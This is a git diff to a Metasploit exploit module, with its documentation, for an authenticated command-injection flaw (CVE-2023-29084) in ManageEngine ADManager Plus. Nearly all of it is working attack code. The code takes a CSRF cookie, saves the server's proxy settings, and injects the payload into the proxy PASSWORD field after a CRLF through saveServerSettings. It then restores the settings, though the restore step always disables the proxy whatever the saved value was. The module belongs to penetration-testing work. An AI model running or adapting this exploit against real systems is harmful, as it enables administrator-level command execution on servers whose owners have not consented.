diff --git a/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md b/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md index e6bd9a6e29..7ebd300d73 100644 --- a/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md +++ b/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md @@ -11,6 +11,9 @@ running ADManager Plus, which will typically be the local administrator. Note that the attacker must be authenticated in order to send requests to `/api/json/admin/saveServerSettings`, so this vulnerability does require authentication to exploit. +As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads +with this exploit, since these will use HTTP connections that will be affected by the change in configuration. + ## Verification Steps 1. Set up a Windows Server target as a domain controller server. diff --git a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb index 356cddb44d..61dd242335 100644 --- a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb +++ b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb @@ -28,6 +28,9 @@ class MetasploitModule < Msf::Exploit::Remote Note that the attacker must be authenticated in order to send requests to /api/json/admin/saveServerSettings, so this vulnerability does require authentication to exploit. + + As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads + with this exploit, since these will use HTTP connections that will be affected by the change in configuration. }, 'Author' => [ 'Simon Humbert', # Disclosure of bug via ZDI @@ -66,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] + 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] # We are changing the proxy settings for every HTTP connection on the target server. } ) ) @@ -177,17 +180,57 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::NoAccess, 'Could not obtain adscrf cookie!') if @csrf_cookie.blank? - execute_command(payload.encoded) + retrieve_original_settings + + begin + modify_proxy(create_params_value_enable(payload.encoded)) + ensure + modify_proxy(create_params_value_restore) + end end - def execute_command(cmd) + def retrieve_original_settings + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'getServerSettings'), + 'method' => 'POST', + 'vars_post' => { + 'adscsrf' => @csrf_cookie + }, + 'keep_cookies' => true + } + ) + + unless res && res.code == 200 && res&.body&.match(/ads_admin_notifications/) + fail_with(Failure::UnexpectedReply, 'Was unable to get the admin settings for restoration!') + end + + json_body = JSON.parse(res.body) + server_details = json_body['serverDetails'] + unless server_details + fail_with(Failure::UnexpectedReply, 'Was unable to retrieve the server settings!') + end + + server_details.each do |elm| + next unless elm['tabId'] == 'proxy' + + @original_port = elm['PORT'] + @original_password = elm['PASSWORD'] + @proxy_enabled = elm['ENABLE_PROXY'] + @original_server_name = elm['SERVER_NAME'] + @original_user_name = elm['USER_NAME'] + break + end + end + + def modify_proxy(params) res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'saveServerSettings'), 'method' => 'POST', 'vars_post' => { 'adscsrf' => @csrf_cookie, - 'params' => create_params_value(cmd) + 'params' => params }, 'keep_cookies' => true } @@ -199,7 +242,7 @@ class MetasploitModule < Msf::Exploit::Remote elsif res.body&.match(/Successfully updated the following settings.*-.*Proxy Settings/) print_warning("Settings successfully changed but the fact that the server responded likely means the payload didn't execute!") elsif res.body&.match(/"status":"error"/) - print_error("The payload somehow triggered an error on the target's side!") + print_error("The payload somehow triggered an error on the target's side! Error was: #{res.body}") else fail_with(Failure::PayloadFailed, 'Was not able to successfully update the settings to execute the payload!') end @@ -210,15 +253,34 @@ class MetasploitModule < Msf::Exploit::Remote end end - def create_params_value(cmd) + def create_params_value_enable(cmd) [ { tabId: 'proxy', ENABLE_PROXY: true, - SERVER_NAME: 'localhost', + SERVER_NAME: 'localhost', # In my experience this worked most reliably. USER_NAME: Rex::Text.rand_text_alphanumeric(4..20).to_s, PASSWORD: "#{Rex::Text.rand_text_alphanumeric(4..20)}\r\n#{cmd}", - PORT: datastore['RPORT'] + PORT: datastore['RPORT'] # In my experience, setting this to the same PORT as the web server worked reliably. + } + ].to_json + end + + def create_params_value_restore(enable_proxy = nil) + if enable_proxy.blank? + @proxy_enabled = false + else + @proxy_enabled = true + end + + [ + { + tabId: 'proxy', + ENABLE_PROXY: @proxy_enabled, + SERVER_NAME: @original_server_name, + USER_NAME: @original_user_name, + PASSWORD: @original_password, + PORT: @original_port } ].to_json end